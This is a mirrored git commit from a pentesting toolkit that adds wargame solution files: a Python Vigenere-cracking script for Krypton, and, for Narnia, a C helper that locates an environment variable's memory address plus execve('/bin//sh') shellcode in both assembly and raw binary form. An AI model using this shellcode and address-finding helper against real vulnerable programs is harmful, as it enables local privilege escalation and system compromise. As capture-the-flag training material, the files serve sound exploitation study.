mirror of
https://github.com/autistic-symposium/sec-pentesting-toolkit.git
synced 2025-04-27 11:09:09 -04:00
some small fixes
This commit is contained in:
parent
5929b46c08
commit
56dec30f70
39
CTFs/WARGAMES/krypton/vige.py
Normal file
39
CTFs/WARGAMES/krypton/vige.py
Normal file
@ -0,0 +1,39 @@
|
|||||||
|
import sys
|
||||||
|
from pygenere import Vigenere, VigCrack
|
||||||
|
|
||||||
|
|
||||||
|
def get_key(msg):
|
||||||
|
# Vigenere Cypher
|
||||||
|
key = VigCrack(msg).crack_codeword()
|
||||||
|
dec_msg = VigCrack(msg).crack_message()
|
||||||
|
dec_msg = dec_msg.replace(" ", "")
|
||||||
|
return key, dec_msg
|
||||||
|
|
||||||
|
|
||||||
|
def solve(msg, key):
|
||||||
|
dec_msg = Vigenere(msg).decipher(key)
|
||||||
|
dec_msg = dec_msg.replace(" ", "")
|
||||||
|
return dec_msg
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
|
||||||
|
# getting the key
|
||||||
|
with open('cipher', 'r') as f:
|
||||||
|
msg = f.readlines()
|
||||||
|
msg_in = msg[0].strip()
|
||||||
|
key, answer = get_key(msg_in)
|
||||||
|
print 'Message: ' + msg_in
|
||||||
|
print
|
||||||
|
print 'Answer: ' + answer
|
||||||
|
print '(key: ' + key + ')'
|
||||||
|
|
||||||
|
|
||||||
|
# deciphering
|
||||||
|
key = 'FREKEY'
|
||||||
|
with open('pass', 'r') as f:
|
||||||
|
msg = f.readlines()
|
||||||
|
answer = solve(msg[0].strip(), key)
|
||||||
|
print
|
||||||
|
print "The answer is: " + answer
|
12
CTFs/WARGAMES/narnia/getshadd.c
Normal file
12
CTFs/WARGAMES/narnia/getshadd.c
Normal file
@ -0,0 +1,12 @@
|
|||||||
|
// usage: ./getshadd ENVVAR BINARY
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
|
||||||
|
int main(int argc,char *argv[]){
|
||||||
|
char *ptr;
|
||||||
|
ptr=getenv(argv[1]);
|
||||||
|
ptr+=(strlen(argv[0])-strlen(argv[2]))*2;
|
||||||
|
printf("%s will be at %p\n",argv[1],ptr);
|
||||||
|
return 0;
|
||||||
|
}
|
1
CTFs/WARGAMES/narnia/shellspawn
Normal file
1
CTFs/WARGAMES/narnia/shellspawn
Normal file
@ -0,0 +1 @@
|
|||||||
|
1ÀPh//shh/bin‰ãP‰âP‰á°Í€
|
14
CTFs/WARGAMES/narnia/shellspawn.asm
Normal file
14
CTFs/WARGAMES/narnia/shellspawn.asm
Normal file
@ -0,0 +1,14 @@
|
|||||||
|
BITS 32
|
||||||
|
|
||||||
|
xor eax, eax ; zero eax
|
||||||
|
push eax ; null terminate the string
|
||||||
|
push 0x68732f2f ; push //sh (// is same as / for our purpose)
|
||||||
|
push 0x6e69622f ; push /bin
|
||||||
|
mov ebx, esp ; pass first argument using ebx
|
||||||
|
push eax ; third argument is empty
|
||||||
|
mov edx, esp
|
||||||
|
push eax ; second argument is empty
|
||||||
|
mov ecx, esp
|
||||||
|
mov al, 11 ; execve is system call #11
|
||||||
|
int 0x80 ; issue an interrupt
|
||||||
|
|
Loading…
x
Reference in New Issue
Block a user